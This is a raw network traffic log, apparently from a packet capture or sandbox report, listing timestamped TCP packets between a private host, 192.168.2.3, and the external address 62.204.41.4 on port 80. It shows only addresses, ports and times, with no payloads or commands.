Feb 8, 2023 21:32:22.805813074 CET	49937	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.813129902 CET	80	49938	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:22.813340902 CET	49938	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.819597960 CET	49938	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.882261038 CET	80	49938	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:22.885091066 CET	80	49938	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:22.885207891 CET	49938	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.999442101 CET	49938	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.000473022 CET	49939	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.061208963 CET	80	49939	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:23.062230110 CET	80	49938	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:23.062386036 CET	49938	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.062856913 CET	49939	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.062856913 CET	49939	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.123331070 CET	80	49939	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:23.127954006 CET	80	49939	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:23.129075050 CET	49939	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.233932972 CET	49939	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.234972954 CET	49940	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.294586897 CET	80	49939	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:23.295411110 CET	80	49940	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:23.295574903 CET	49939	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.295648098 CET	49940	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.296031952 CET	49940	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.356471062 CET	80	49940	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:23.359333038 CET	80	49940	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:23.362412930 CET	49940	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.468487024 CET	49940	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.469657898 CET	49941	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.529786110 CET	80	49940	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:23.529959917 CET	49940	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.531640053 CET	80	49941	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:23.531797886 CET	49941	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.532205105 CET	49941	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.593621016 CET	80	49941	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:23.596193075 CET	80	49941	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:23.596517086 CET	49941	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.703242064 CET	49941	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.704312086 CET	49942	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.764859915 CET	80	49941	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:23.765037060 CET	49941	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.766977072 CET	80	49942	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:23.767183065 CET	49942	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.769179106 CET	49942	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.831785917 CET	80	49942	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:23.834645987 CET	80	49942	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:23.834748983 CET	49942	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.944951057 CET	49942	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:23.945894003 CET	49943	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.006490946 CET	80	49943	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:24.006789923 CET	49943	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.007317066 CET	49943	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.007595062 CET	80	49942	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:24.007709026 CET	49942	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.067691088 CET	80	49943	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:24.071053982 CET	80	49943	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:24.071243048 CET	49943	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.186342001 CET	49943	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.188666105 CET	49944	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.247081995 CET	80	49943	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:24.247308016 CET	49943	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.249274969 CET	80	49944	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:24.249439955 CET	49944	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.249933004 CET	49944	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.310511112 CET	80	49944	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:24.313520908 CET	80	49944	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:24.313640118 CET	49944	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.421459913 CET	49944	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.422292948 CET	49945	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.482153893 CET	80	49944	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:24.482381105 CET	49944	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.484565020 CET	80	49945	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:24.484780073 CET	49945	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.485227108 CET	49945	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.553616047 CET	80	49945	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:24.553652048 CET	80	49945	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:24.553812981 CET	49945	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.703021049 CET	49945	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.704037905 CET	49946	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.765515089 CET	80	49945	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:24.765638113 CET	80	49946	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:24.765697956 CET	49945	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.765769958 CET	49946	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.773081064 CET	49946	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.834783077 CET	80	49946	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:24.837829113 CET	80	49946	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:24.837960958 CET	49946	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.952641964 CET	49946	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:24.953392029 CET	49947	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.014009953 CET	80	49947	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:25.014125109 CET	49947	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.014161110 CET	80	49946	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:25.014233112 CET	49946	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.015743017 CET	49947	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.076546907 CET	80	49947	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:25.080547094 CET	80	49947	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:25.080671072 CET	49947	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.186763048 CET	49947	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.187617064 CET	49948	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.247953892 CET	80	49947	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:25.248109102 CET	49947	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.248843908 CET	80	49948	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:25.248953104 CET	49948	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.249769926 CET	49948	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.311121941 CET	80	49948	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:25.313677073 CET	80	49948	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:25.313752890 CET	49948	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.428404093 CET	49948	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.431461096 CET	49949	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.489972115 CET	80	49948	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:25.490118980 CET	49948	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.492984056 CET	80	49949	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:25.493128061 CET	49949	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.497713089 CET	49949	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.559314966 CET	80	49949	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:25.561935902 CET	80	49949	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:25.562047958 CET	49949	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.724009991 CET	49949	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.725616932 CET	49950	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.785469055 CET	80	49950	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:25.785531044 CET	80	49949	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:25.785661936 CET	49950	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.785713911 CET	49949	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.900036097 CET	49950	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:25.960030079 CET	80	49950	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:25.963053942 CET	80	49950	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:25.963211060 CET	49950	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:26.149907112 CET	49950	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:26.151293993 CET	49951	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:26.209899902 CET	80	49950	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:26.210099936 CET	49950	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:26.213836908 CET	80	49951	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:26.213946104 CET	49951	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:26.219929934 CET	49951	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:26.282588005 CET	80	49951	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:26.287198067 CET	80	49951	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:26.287329912 CET	49951	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:26.457617998 CET	49951	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:26.460715055 CET	49952	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:26.520378113 CET	80	49952	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:26.520417929 CET	80	49951	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:26.520734072 CET	49951	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:26.520750046 CET	49952	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:26.521262884 CET	49952	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:26.580785036 CET	80	49952	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:26.584475040 CET	80	49952	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:26.584678888 CET	49952	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:26.704582930 CET	49952	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:26.764379025 CET	80	49952	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:26.771636009 CET	49952	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:26.802339077 CET	49953	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:26.864110947 CET	80	49953	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:26.867304087 CET	49953	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:26.867865086 CET	49953	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:26.930051088 CET	80	49953	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:26.933233023 CET	80	49953	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:26.935547113 CET	49953	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.052084923 CET	49953	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.052906990 CET	49954	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.112313986 CET	80	49954	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:27.112545013 CET	49954	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.113818884 CET	49954	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.113929033 CET	80	49953	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:27.116626024 CET	49953	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.174097061 CET	80	49954	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:27.177083015 CET	80	49954	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:27.184756041 CET	49954	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.296056032 CET	49954	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.297101021 CET	49955	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.356018066 CET	80	49954	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:27.359059095 CET	49954	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.359342098 CET	80	49955	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:27.359549999 CET	49955	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.359899998 CET	49955	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.422033072 CET	80	49955	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:27.424393892 CET	80	49955	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:27.426541090 CET	49955	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.542870045 CET	49955	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.543557882 CET	49956	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.604844093 CET	80	49955	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:27.605061054 CET	49955	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.606156111 CET	80	49956	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:27.607388973 CET	49956	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.633042097 CET	49956	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.695815086 CET	80	49956	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:27.698436975 CET	80	49956	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:27.699013948 CET	49956	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.814308882 CET	49956	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.815896034 CET	49957	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.877183914 CET	80	49956	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:27.877351999 CET	49956	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.878431082 CET	80	49957	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:27.879365921 CET	49957	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.889281034 CET	49957	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:27.951901913 CET	80	49957	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:27.954535961 CET	80	49957	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:27.957051039 CET	49957	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.082056046 CET	49957	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.083029985 CET	49958	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.144563913 CET	80	49958	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:28.144604921 CET	80	49957	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:28.144660950 CET	49958	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.144691944 CET	49957	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.145173073 CET	49958	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.206587076 CET	80	49958	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:28.210447073 CET	80	49958	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:28.228341103 CET	49958	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.348908901 CET	49958	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.349653006 CET	49959	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.410273075 CET	80	49959	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:28.410593987 CET	80	49958	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:28.421859980 CET	49958	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.422446966 CET	49959	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.422446966 CET	49959	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.482812881 CET	80	49959	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:28.485539913 CET	80	49959	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:28.485687017 CET	49959	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.603312969 CET	49959	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.606627941 CET	49960	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.664089918 CET	80	49959	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:28.666167021 CET	80	49960	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:28.667319059 CET	49959	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.667413950 CET	49960	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.668791056 CET	49960	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.728353977 CET	80	49960	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:28.731478930 CET	80	49960	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:28.738429070 CET	49960	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.857923031 CET	49960	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.874214888 CET	49961	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.917980909 CET	80	49960	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:28.926455021 CET	49960	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.936271906 CET	80	49961	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:28.941096067 CET	49961	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:28.958110094 CET	49961	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.019805908 CET	80	49961	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:29.022146940 CET	80	49961	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:29.024748087 CET	49961	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.192774057 CET	49961	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.193744898 CET	49962	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.254647970 CET	80	49961	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:29.254826069 CET	49961	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.256095886 CET	80	49962	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:29.256236076 CET	49962	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.257081032 CET	49962	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.319484949 CET	80	49962	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:29.324227095 CET	80	49962	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:29.324346066 CET	49962	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.441129923 CET	49962	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.442296982 CET	49963	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.503714085 CET	80	49962	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:29.503753901 CET	80	49963	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:29.503873110 CET	49962	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.503937006 CET	49963	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.504400969 CET	49963	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.565964937 CET	80	49963	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:29.568942070 CET	80	49963	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:29.569083929 CET	49963	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.692049980 CET	49963	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.692888975 CET	49964	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.753736973 CET	80	49963	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:29.754578114 CET	80	49964	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:29.754889965 CET	49963	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.754959106 CET	49964	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.755517960 CET	49964	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.817121983 CET	80	49964	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:29.820144892 CET	80	49964	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:29.820342064 CET	49964	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.940877914 CET	49964	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:29.941720963 CET	49965	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.002389908 CET	80	49965	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:30.002543926 CET	80	49964	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:30.016753912 CET	49964	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.017047882 CET	49965	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.025254965 CET	49965	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.086041927 CET	80	49965	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:30.089925051 CET	80	49965	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:30.095613956 CET	49965	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.201741934 CET	49965	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.213459969 CET	49966	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.262533903 CET	80	49965	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:30.262758970 CET	49965	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.274039984 CET	80	49966	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:30.274279118 CET	49966	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.274781942 CET	49966	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.335030079 CET	80	49966	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:30.337826014 CET	80	49966	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:30.337959051 CET	49966	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.450472116 CET	49966	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.451639891 CET	49967	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.510925055 CET	80	49966	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:30.512998104 CET	80	49967	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:30.514307022 CET	49966	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.514399052 CET	49967	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.528686047 CET	49967	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.590224981 CET	80	49967	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:30.592782021 CET	80	49967	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:30.592926025 CET	49967	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.703388929 CET	49967	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.704322100 CET	49968	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.768702984 CET	80	49968	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:30.768723011 CET	80	49967	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:30.769690037 CET	49967	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.769860029 CET	49968	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.770420074 CET	49968	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.831453085 CET	80	49968	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:30.833966017 CET	80	49968	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:30.836036921 CET	49968	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.950318098 CET	49968	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:30.951184988 CET	49969	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:31.011223078 CET	80	49968	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:31.011703014 CET	80	49969	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:31.016067028 CET	49968	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:31.016151905 CET	49969	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:31.022856951 CET	49969	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:31.083401918 CET	80	49969	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:31.088211060 CET	80	49969	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:31.088380098 CET	49969	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:31.226295948 CET	49969	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:31.227262020 CET	49970	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:31.287168980 CET	80	49969	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:31.287844896 CET	80	49970	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:31.298402071 CET	49969	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:31.298415899 CET	49970	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:31.302961111 CET	49970	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:31.363755941 CET	80	49970	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:31.366622925 CET	80	49970	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:31.370374918 CET	49970	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:31.488183022 CET	49970	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:31.489048004 CET	49971	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:31.548485041 CET	80	49971	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:31.548583031 CET	80	49970	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:31.548739910 CET	49971	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:31.549215078 CET	49970	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:31.549737930 CET	49971	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:31.608989000 CET	80	49971	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:31.611403942 CET	80	49971	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:31.617861986 CET	49971	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:31.871534109 CET	49971	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:31.931050062 CET	80	49971	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:31.949146032 CET	49971	80	192.168.2.3	62.204.41.4
